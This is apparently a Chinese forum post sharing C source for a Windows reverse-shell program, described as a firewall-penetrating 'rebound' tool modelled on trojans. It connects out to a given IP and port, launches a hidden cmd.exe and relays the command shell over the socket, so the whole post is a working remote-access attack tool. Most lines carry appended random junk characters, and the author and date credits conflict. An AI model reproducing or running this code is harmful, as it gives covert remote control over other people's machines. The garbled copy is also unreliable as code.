这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oD~VK,.
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/* ============================== 9:YiLoz?
Rebound port in Windows NT d
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By wind,2006/7 p~+)!Z#
===============================*/ p0'A\@|
#include vpOzF>O
#include [<f\+g2ct
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#pragma comment(lib,"wsock32.lib") mY;Y$fz;xL
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void OutputShell(); (j}"1
SOCKET sClient; K~v"%sG{`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #N@sJyIN
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void main(int argc,char **argv) >JrQS"[u
{ -4;{QB?
WSADATA stWsaData; /e#_Yg
int nRet; u -CY-
SOCKADDR_IN stSaiClient,stSaiServer; . (Q;EF`_U
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if(argc != 3) el7P
{ m{gt(n
printf("Useage:\n\rRebound DestIP DestPort\n"); :4&qASn
return; xJN
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} ]W-:-.prh
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WSAStartup(MAKEWORD(2,2),&stWsaData); N;<<-`i
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eP[azC"G[
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stSaiClient.sin_family = AF_INET; q.uIZ
stSaiClient.sin_port = htons(0); q;t
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \W}?4kz
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [
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{ Bb8lklQ
printf("Bind Socket Failed!\n"); p24sWDf
return; b!<?,S
} aL+k1v[m
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stSaiServer.sin_family = AF_INET; mi%d([)%<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YNHn# 98\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &Q(Q/]U~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9IC"p<D
{ Hc5@gN
printf("Connect Error!"); h^?[:XBeav
return; u{tjB/K&
} .2[>SI
OutputShell(); `!>zYcmT
} YDC[s ^d5
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void OutputShell() K,?M5n '
{ I_'vVbK+>
char szBuff[1024]; %L<VnY#%u
SECURITY_ATTRIBUTES stSecurityAttributes; Wi
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OSVERSIONINFO stOsversionInfo; qRTxg%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s1:UCv-%
STARTUPINFO stStartupInfo; $zyY"yWRZ
char *szShell; <yE(p
PROCESS_INFORMATION stProcessInformation; 0[);v/@Ho
unsigned long lBytesRead; s|%mGt &L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g9'50<|J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E;| q
stSecurityAttributes.lpSecurityDescriptor = 0; kO~xE-(=
stSecurityAttributes.bInheritHandle = TRUE; n M,m#"AI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kIP~XV~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b ]1SuL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9\R:J"X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2AzF@Pi^z
stStartupInfo.wShowWindow = SW_HIDE; .LN&EfMenF
stStartupInfo.hStdInput = hReadPipe; +, p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L8TT54fM
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GetVersionEx(&stOsversionInfo); DIkD6n?V
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switch(stOsversionInfo.dwPlatformId) %:YON,1b=7
{ p_!Y:\a5
case 1: E9!IGci
szShell = "command.com"; ofj7$se
break; g@`14U/|
default: K3!|k(jt
szShell = "cmd.exe"; DUM,dFIlvF
break; >.\G/'\?
} >p}d:t/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O]4!U#A
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send(sClient,szMsg,77,0); ^qy$M>
while(1) M!;H3*
{ 2RT9Q!BX{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Pb+oV
if(lBytesRead) "7l p|0I
{ q'hMf?_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *8kg6v%
send(sClient,szBuff,lBytesRead,0); 4~ZQsw`
} #W~5M ?+
else JrOp-ug
{ f(|qE(
lBytesRead=recv(sClient,szBuff,1024,0); Gxy>aS3
if(lBytesRead<=0) break; t \Fc <
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nxA]EFS
} FOM~Uj
} @HMt}zD
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return; `a3q)}*Y
}